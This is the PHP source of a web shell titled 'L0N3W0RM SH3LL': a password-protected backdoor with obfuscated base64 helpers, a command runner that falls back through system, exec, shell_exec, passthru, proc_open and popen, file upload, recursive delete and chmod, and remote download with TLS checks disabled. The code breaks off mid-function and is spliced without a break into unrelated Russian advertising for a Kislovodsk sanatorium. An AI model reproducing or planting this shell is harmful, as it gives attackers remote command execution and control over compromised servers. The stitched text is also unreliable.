"L0N3W0RM SH3LL", // Your Title
"subtitle" => "V3RS10N 1.0 ~ L0N3W0RM", // Your Subtitle
"themes" => "d4rk", // Your Themes (D4RK or BR34K)
"debug" => false // Debug Mode
);
$account=explode(':',$x_);
session_start(); // Session Start
function any($x,$y)
{
return array_key_exists($x,$y);
}
function urle($x)
{
return B64E(urlencode($x));
}
function urld($x)
{
return urldecode(B64D(urldecode($x)));
}
define('_',DIRECTORY_SEPARATOR);
foreach($_SERVER as $k => $v)
{
define(strtolower($k),$_SERVER[$k]);
}
function B64E($x)
{
$d="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
$c="ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/";
$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
$_g="_";$_h="e";$_i="n";$_j="c";$_k="o";$_l="d";$_m="e";
$b64=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
return strtr($b64($x),$d,$c);
}
function B64D($x)
{
$d="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
$c="ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/";
$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
$_g="_";$_h="d";$_i="e";$_j="c";$_k="o";$_l="d";$_m="e";
$b64=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
return $b64(strtr($x,$d,$c));
}
function error ($errno, $errstr, $errfile, $errline)
{
switch ($errno)
{
case E_PARSE:
case E_STRICT:$errmsg='# DEBUG';break;
case E_NOTICE:
case E_USER_NOTICE:$errmsg='# NOTICE';break;
case E_USER_ERROR:
case E_RECOVERABLE_ERROR:$errmsg='# ERROR';break;
case E_WARNING:
case E_CORE_WARNING:
case E_COMPILE_WARNING:
case E_USER_WARNING:$errmsg='# WARNING';break;
case E_ERROR:
case E_CORE_ERROR:
case E_COMPILE_ERROR:$errmsg='# FATAL ERROR';break;
default:$errmsg='# UNKNOWN ERROR';break;
}
echo '';
echo $errmsg;
echo " ";
echo $errstr;
echo " ";
echo $errfile . ' (Line: ' . $errline . ')';
echo " ";
echo " ";
echo "
";
}
// Login Request
if(request_method=="POST")
{
if(any("username",$_REQUEST)&&any("password",$_REQUEST)&&any("signin",$_REQUEST))
{
if((B64E($_REQUEST['username'])==$account[0])&&(sha1(md5($_REQUEST['password']))==$account[1]))
{
session_regenerate_id();
$_SESSION['action']=array(
"username" => B64E($_REQUEST['username']),
"password" => sha1(md5($_REQUEST['password']))
);
}
else
{
// THIS IS FUCKING LOCAL DAMN LOG N00B! (https://github.com/k4mpr3t/b4tm4n/issues/5)
$log=array(
"Username: ".$_REQUEST['username'],
"Password: ".$_REQUEST['password'],
"Remote IP: ".remote_addr,
"Time: ".date('Y-m-d H:i:s'),
"-------------------------
",
);
$file=dirname(__FILE__)._.'.log';
$write_log=implode($log,"
");
$op=fopen($file,'a+');
fwrite($op,$write_log);
fclose($op);
}
}
}
if (!any("action", $_SESSION)) {
?>
Signin
=$title?>
".$x."&1';
if(!is_null($backtic=`$x`))
{
return $backtic;
}
elseif(function_exists('system'))
{
ob_start();
$system=system($x);
$buff=ob_get_contents();
ob_end_clean();
return $buff;
}
elseif(function_exists('exec'))
{
$buff="";
exec($x,$results);
foreach($results as $result)
{
$buff.=$result;
}
return $buff;
}
elseif(function_exists('shell_exec'))
{
$buff=shell_exec($x);
return $buff;
}
elseif(function_exists('pcntl_exec'))
{
$buff=pcntl_exec($x);
return $buff;
}
elseif(function_exists('passthru'))
{
ob_start();
$passthru=passthru($x);
$buff=ob_get_contents();
ob_end_clean();
return $buff;
}
elseif(function_exists('proc_open'))
{
$proc=proc_open($x,array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),$pipes);
$buff=stream_get_contents($pipes[1]);
return $buff;
}
elseif(function_exists('popen'))
{
$buff="";
$pop=popen($x,"r");
while(!feof($pop))
{
$buff.=fread($pop,1024);
}
pclose($pop);
return $buff;
}
return "R.I.P Command";
}
function Remove($x)
{
if(is_dir($x))
{
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
Remove($x._.$f);
}
}
closedir($h);
}
return rmdir($x);
}
elseif(is_file($x))
{
return unlink($x);
}
return false;
}
function ChmodRecursive($x,$y)
{
if(is_dir($x))
{
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
ChmodRecursive($x._.$f);
}
}
closedir($h);
}
return chmod($x,$y);
}
elseif(is_file($x))
{
return chmod($x,$y);
}
return false;
}
function CopyRecursive($x,$y)
{
if(is_dir($x))
{
@mkdir($y);
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
CopyRecursive($x._.$f,$y._.$f);
}
}
closedir($h);
}
return true;
}
elseif(is_file($x))
{
return copy($x,$y);
}
return false;
}
function MoveRecursive($x,$y)
{
if(is_dir($x))
{
@mkdir($y);
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
MoveRecursive($x._.$f,$y._.$f);
}
}
closedir($h);
}
return Remove($x);
}
elseif(is_file($x))
{
if(copy($x,$y))
{
return unlink($x);
}
}
return false;
}
function GetDownloadUrl($x,$y)
{
global $agent;
$fl=fopen($y,"w");
$ch=curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_URL,$x);
curl_setopt($ch,CURLOPT_FILE,$fl);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$rs=curl_exec($ch);
if(curl_error($ch)) return curl_error($ch);
curl_close($ch);
fclose($fl);
return true;
}
function GetUrlExists($x)
{
global $agent;
$ch=curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_URL,$x);
curl_setopt($ch,CURLOPT_TIMEOUT,5);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,5);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$rs=curl_exec($ch);
$http=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if(curl_error($ch)) return curl_error($ch);
curl_close($ch);
return ($http>=200 && $http<300);
}
function GetUrlContent($x)
{
global $agent;
$ch=curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_URL,$x);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$rs=curl_exec($ch);
if(curl_error($ch)) return curl_error($ch);
curl_close($ch);
return $rs;
}
function GetUrlFromPath($x)
{
$fix_path=str_replace(_,'/',$x);
$protocol=empty($_SERVER['HTTPS'])||$_SERVER['HTTPS']==='off'?'http://':'https://';
$path=str_replace(document_root,'',$fix_path);
return $protocol.server_name.$path;
}
function PostUrlContent($url,$content)
{
global $agent;
$params=array(
'http' => array(
'method' => "POST",
'header' => "Content-Type: application/x-www-form-urlencoded
".
"User-Agent: $agent
",
'content' => http_build_query($content)
)
);
$results="";
$context=stream_context_create($params);
$header=get_headers($url);
if($http=substr($header[0],9,3) != "200")
{
$results="Error: $http";
}
else
{
//file_get_contents
if($contents=file_get_contents($url,null,$context))
{
$results=htmlspecialchars($contents);
}
//stream_get_contents
if($handle=fopen($url,'r',false,$context))
{
$contents=stream_get_contents($handle);
fclose($handle);
$results=htmlspecialchars($contents);
}
//fopen
if($handle=fopen($url,'r',false,$context))
{
$contents="";
while(!feof($handle))
{
$contents.=fread($handle,10240);
}
fclose($handle);
$results=htmlspecialchars($contents);
}
}
return $results;
}
function GetFileType($x)
{
if(is_file($x))
{
return pathinfo($x)['extension'];
}
elseif(is_dir($x))
{
return "dir";
}
elseif(is_link($x))
{
return "link";
}
else
{
return "-";
}
}
function GetFileTime($x,$y)
{
switch($y)
{
case "create":return date("Y-m-d H:i:s",@filectime($x));break;
case "modify":return date("Y-m-d H:i:s",@filemtime($x));break;
case "access":return date("Y-m-d H:i:s",@fileatime($x));break;
}
}
function GetFilePerm($x)
{
$perms=@fileperms($x);
switch ($perms & 0xF000)
{case 0xC000:$info='s';break;case 0xA000:$info='l';break;
case 0x8000:$info='r';break;case 0x6000:$info='b';break;
case 0x4000:$info='d';break;case 0x2000:$info='c';break;
case 0x1000:$info='p';break;default:$info='u';}
$info .=(($perms & 0x0100)?'r':'-');$info .=(($perms & 0x0080)?'w':'-');
$info .=(($perms & 0x0040)?(($perms & 0x0800)?'s':'x' ):(($perms & 0x0800)?'S':'-'));
$info .=(($perms & 0x0020)?'r':'-');$info .=(($perms & 0x0010)?'w':'-');
$info .=(($perms & 0x0008)?(($perms & 0x0400)?'s':'x' ):(($perms & 0x0400)?'S':'-'));
$info .=(($perms & 0x0004)?'r':'-');$info .=(($perms & 0x0002)?'w':'-');
$info .=(($perms & 0x0001)?(($perms & 0x0200)?'t':'x' ):(($perms & 0x0200)?'T':'-'));
return sprintf('%s [%s]',$info,substr(decoct($perms),2));
}
function GetFileSize($x)
{
$x=abs($x);
$size=array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
$exp=$x?floor(log($x)/log(1024)):0;
return sprintf('%.2f '.$size[$exp],($x/pow(1024,floor($exp))));
}
function GetUser($x)
{
if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid'))
{
$uid=posix_getpwuid(posix_getuid());
$gid=posix_getgrgid(posix_getgid());
switch($x)
{
case 'usr':return $uid['name'];break;
case 'uid':return $uid['uid'];break;
case 'grp':return $gid['name'];break;
case 'gid':return $gid['gid'];break;
}
}
else
{
switch($x)
{
case 'usr':return get_current_user();break;
case 'uid':return getmyuid();break;
case 'grp':return "?";break;
case 'gid':return getmygid();break;
}
}
}
function GetOwnerGroup($x)
{
if(Unix())
{
if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid'))
{
$user=posix_getpwuid(fileowner($x));
$group=posix_getgrgid(filegroup($x));
return sprintf('%s:%s',$user['name'],$group['name']);
}
}
return "?:?";
}
function GetFileOwnerGroup($x)
{
if(Unix())
{
if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid'))
{
$user=posix_getpwuid(fileowner($x));
$group=posix_getgrgid(filegroup($x));
return sprintf('%s:%s/%s:%s',$user['name'],$user['uid'],$group['name'],$group['gid']);
}
}
return "?:?/?:?";
}
function GetSafeMode()
{
if(strtolower(ini_get("safe_mode"))=='on')
{
$safemod="
ON ";
}
else
{
$safemod="
OFF ";
}
return $safemod;
}
function MapDirectory($x)
{
$map="";
$d=str_replace("\",_,$x);
if(empty($d))
{
$d=realpath(".");
}
elseif(realpath($d))
{
$d=realpath($d);
}
$d=str_replace("\",_,$d);
if(substr($d,-1)!=_)
{
$d.=_;
}
$d=str_replace("\\","\",$d);
$pd=$e=explode(_,substr($d,0,-1));
$i=0;
foreach($pd as $b)
{
$t="";
$j=0;
foreach($e as $r)
{
$t.=$r._;
if($j==$i)
{
break;
}
$j++;
}
$map.="
".htmlspecialchars($b)." "._;
$i++;
}
return rtrim($map,_);
}
function MapDrive($x)
{
if(!Unix())
{
$v=explode("\",$x);
$v=$v[0];
$l="";
foreach(range("A","Z") as $lt)
{
$drive=is_dir($lt.":\");
if($drive)
{
$l.="
[";
if(strtolower($lt.':')!=strtolower($v))
{
$l.=$lt;
}
else
{
$l.="".$lt." ";
}
$l.="] ";
}
}
return $l;
}
}
function MainMenu()
{
$menu=array(
"ExpL" => "?d=".urle(getcwd()),
"★ Sec." => "?x=secure",
"Info" => "?x=info",
"Database" => "?x=db",
"Terminal" => "?x=terminal",
"Connect" => "?x=connect",
".Htaccess" => "?x=htaccess",
"PHP" => "?x=php",
"Perl/CGI" => "?x=perl",
"Mail" => "?x=mail",
"Process" => "?x=process",
"Shells" => "?x=shells",
"Symlink" => "?x=symlink",
"♛ Tools" => "?z",
"Account" => "?x=account",
"Update" => "?x=update",
"Logout" => "?x=logout"
);
$nu="";
foreach($menu as $key => $val)
{
$idxkey=substr($val,1,1);
$idxval=substr($val,3);
$active=any($idxkey,$_REQUEST)&&$_REQUEST[$idxkey]==$idxval?"class='active'":"";
if($key=="Logout")
{
$nu.="
".$key." ";
}
else
{
$nu.="
".$key." ";
}
}
return $nu;
}
function MenuTools($x)
{
global $menu_tools;
$ol="";
return $ol;
}
printf("
",
php_uname(),server_software,
server_name,server_name,gethostbyname(http_host),server_port,
B64D($account[0]),remote_addr,remote_port,
GetUser("usr"),GetUser("uid"),GetUser("grp"),GetUser("gid"),
GetFileSize(@disk_free_space($dir)),GetFileSize(@disk_total_space($dir)),
php_sapi_name(),GetSafeMode(),php_self,$config['title'],$config['subtitle'],
MainMenu(),MapDrive($map),MapDirectory($map),$map
);
if(any("g",$_REQUEST))
{
$g=$_REQUEST['g'];
if (is_dir($g))
{
header('location:'.php_self.'?d='.urle($g));
}
elseif(is_file($g)||is_link($g))
{
header('location:'.php_self.'?a=v&r='.urle($g));
}
else
{
header('location:'.php_self);
}
}
if(any("d",$_REQUEST)||request_uri===script_name)
{
$_SESSION['c']=urle($dir);
if(any("file",$_REQUEST)&&$_REQUEST['file']=="New File")
{
$file=trim($dir._.$_REQUEST['what']);
if(file_exists($file))
{
printf("
Can't create New File! ");
}
else
{
$mf=@fopen($file,"w");
fclose($mf);
header("location:".php_self."?a=e&r=".urle($file));
}
}
if(any("directory",$_REQUEST)&&$_REQUEST['directory']=="New Dir")
{
$dire=trim($_REQUEST['what']);
@chdir($dir);
if(!@mkdir($dire))
{
printf("
Can't create New Directory! ");
}
else
{
printf("
Directory '%s' Created on %s ",$dire,GetFileTime($dir._.$dire,'create'));
}
}
if(any("upload",$_REQUEST)&&$_REQUEST['upload']=="Upload")
{
$upload=$dir._.trim(basename($_FILES["what"]["name"]));
if(move_uploaded_file($_FILES["what"]["tmp_name"],$upload))
{
printf("
File %s has been uploaded ",basename($_FILES["what"]["name"]));
}
else
{
printf("
✕ Can't upload new file! ✕ ");
}
}
if($handle=@opendir($dir))
{
$reads=array();
$count_dirs=0;
$count_files=0;
while(false!==($file=readdir($handle)))
{
$filedir=rtrim($dir,_)._.$file;
$updir=substr($dir,0,strrpos($dir,_));
if (strlen($updir)<=2) $updir=$updir._;
$type=GetFileType($filedir);
$size=GetFileSize(@filesize($filedir));
$last=GetFileTime($filedir,"modify");
$perm=GetFilePerm($filedir);
$owner=GetOwnerGroup($filedir);
$mime=@mime_content_type($filedir);
$view="";
if(strpos($mime,'image')!==false)
{
$view="?a=v&w=i&r=".urle($filedir);
}
elseif(strpos($mime,'video')!==false)
{
$view="?a=v&w=v&r=".urle($filedir);
}
elseif(strpos($mime,'audio')!==false)
{
$view="?a=v&w=a&r=".urle($filedir);
}
else
{
$view="?a=v&r=".urle($filedir);
}
if($file==".")
{
$reads[]="
. ".strtoupper($type)." ".$size." ".$perm." ".$owner." ".$last." ✘ ℳ ";
}
elseif($file=="..")
{
$reads[]="
".$file." ".strtoupper($type)." ".$size." ".$perm." ".$owner." ".$last." ✘ ℳ ";
}
else
{
if($type=="dir")
{
$reads[]="
".$file." ".strtoupper($type)." ".$size." ".$perm." ".$owner." ".$last." ✘ ℳ ";
$count_dirs++;
}
else
{
$reads[]="
".$file." ".strtoupper($type)." ".$size." ".$perm." ".$owner." ".$last." ℳ ✘ ➥ ";
$count_files++;
}
}
}
sort($reads);
$filesdirs="";
foreach($reads as $read)
{
$filesdirs.=$read;
}
printf("
",
urle($dir),
urle($dir),
urle($dir),
$filesdirs,
$count_dirs,
$count_files
);
closedir($handle);
}
else
{
print "
Can't Open Location ";
}
}
if(any("r",$_REQUEST))
{
if(file_exists(urld($_REQUEST["r"])))
{
$file=strval(urld($_REQUEST["r"]));
$status=any("status",$_SESSION)?$_SESSION['status']:"";
$back=php_self."?d=".urle($dir);
printf("
Name %s
Size %s
Permission %s
Create time %s
Last modified %s
Last accessed %s
MIME %s
Owner/Group %s
MD5 %s
SHA1 %s
",
basename($file),
GetFileSize(@filesize($file)),
GetFilePerm($file),
GetFileTime($file,"create"),
GetFileTime($file,"modify"),
GetFileTime($file,"access"),
mime_content_type($file),
GetFileOwnerGroup($file),
@md5_file($file),
@sha1_file($file)
);
if(is_file($file)||is_link($file))
{
$menu=array(
"Back" => "?a=b&r=",
"Edit" => "?a=e&r=",
"View" => "?a=v&r=",
"Copy" => "?a=cp&r=",
"Move" => "?a=mv&r=",
"Download" => "?a=d&r=",
"Hexdump" => "?a=h&r=",
"Chmod" => "?a=c&r=",
"Chown" => "?a=cwn&r=",
"Chgrp" => "?a=cgp&r=",
"Touch" => "?a=t&r=",
"Rename" => "?a=r&r=",
"Delete" => "?a=x&r="
);
}
elseif(is_dir($file))
{
$menu=array(
"Back" => "?a=b&r=",
"Chmod" => "?a=c&r=",
"Chown" => "?a=cwn&r=",
"Chgrp" => "?a=cgp&r=",
"Touch" => "?a=t&r=",
"Rename" => "?a=r&r=",
"Delete" => "?a=x&r="
);
}
$nu="";
foreach($menu as $key => $val)
{
$idxkey=substr($val,1,1);
$idxval=substr($val,3,strpos($val,'&')-3);
$active=any($idxkey,$_REQUEST)&&$_REQUEST[$idxkey]==$idxval?"class='active'":"";
if($key=="Delete")
{
$nu.="
".$key." ";
}
elseif($key=="Back")
{
$nu.="
Представляем вам официальные цены Санаторий «им. Горького» на 2015 - 2016 год. Стоимость специализированных программ лечения уточняйте у наших менеджеров.
Напоминаем, мы работаем без наценок и только по официальным ценам санаториев! Приобретая путевку у нас, вы можете быть уверены, что не переплачиваете ни одного рубля.
Санаторий имени Горького Кисловодск – качественное лечение по доступной цене!
Санаторий им. Горького Кисловодск – лечебный центр оздоровительного отдыха с многолетним опытом работы. Открытый в начале XX столетия на Крестовой горе, в одном из самых колоритных мест Курортного парка г. Кисловодск, санаторий Максима Горького продолжает принимать на лечение отдыхающих не только нашей страны, но и туристов из далёкого зарубежья. Благодаря удивительным природным факторам (уникальный климат и целебная вода) в сочетании с высококвалифицированным медицинским персоналом и мощнейшей лечебно-диагностической базой, санаторий Максим Горький Кисловодск славится далеко за пределами нашей Родины.
Санаторий им. Горького г. Кисловодск: медицинский профиль и возможные лечебные процедуры
К медицинскому профилю санатория им. Горького относятся болезни сердца и сосудов, дыхательных органов, ЖКТ, костно-мышечной системы, нарушение правильного обмена веществ, а также сопутствующие заболевания. Разнообразие лечебных процедур помогают оздоровить пациентов и заняться профилактикой появления нежелательных болезней. С огромного перечня медицинских услуг санатория можно выделить наиболее популярные среди отдыхающих процедуры: бальнеолечение (процедуры, связанные с использованием минеральных вод), лечение грязями Тамбуканского озера, лечение парафинами, пиявками, солевые шахты, ароматерапия, массаж и лечебная гимнастика, оксигенотерапия (кислородные коктейли).
К вниманию родителей, в санаторий Горького Кисловодск можно приезжать с детьми от пяти лет, с такого возраста возможно лечение и оздоровление.
Номерной фонд и организация досуга в санатории им. Горького
Санаторий имени Горького г. Кисловодск располагает комфортными и уютными одно- и двухместными номерами, позволяющими принять одновременно 272 человека.
Чтобы лечение не было для отдыхающих скучным занятием, в санатории имеется развлекательный центр, где можно поиграть в бильярд и теннис, и периодически проводятся танцевальные и тематические вечера. Желающим культурно обогатиться можно заглянуть в библиотеку, а тем, кто любить держать себя в форме – дорога в тренажёрный зал санатория.
Санаторий Горького Кисловодск, бассейн которого относится к реабилитационно-бальнеологическому центру здравницы и оснащён подводным гидромассажем и джакузи, предлагает поплавать в нём и заняться аква аэробикой. Также к услугам отдыхающих в санатории работает сауна, хаммам и римские бани.
Путёвки в санаторий имени Горького Кисловодск: где купить?
Систематически сравнивая ценовую политику всех здравниц КавМинВод мы смело можем утверждать, что в г. Кисловодск, санаторий Горького, цены на проживание и дополнительные услуги более чем демократичные. Для того, чтобы узнать всю интересующую информацию вовсе не обязательно посещать сайт санатория Горького Кисловодск, сотрудники туристической фирмы «Лето» ответят на все вопросы, дадут детальную профессиональную консультацию, а также подскажут контакты санатория (адрес и телефон).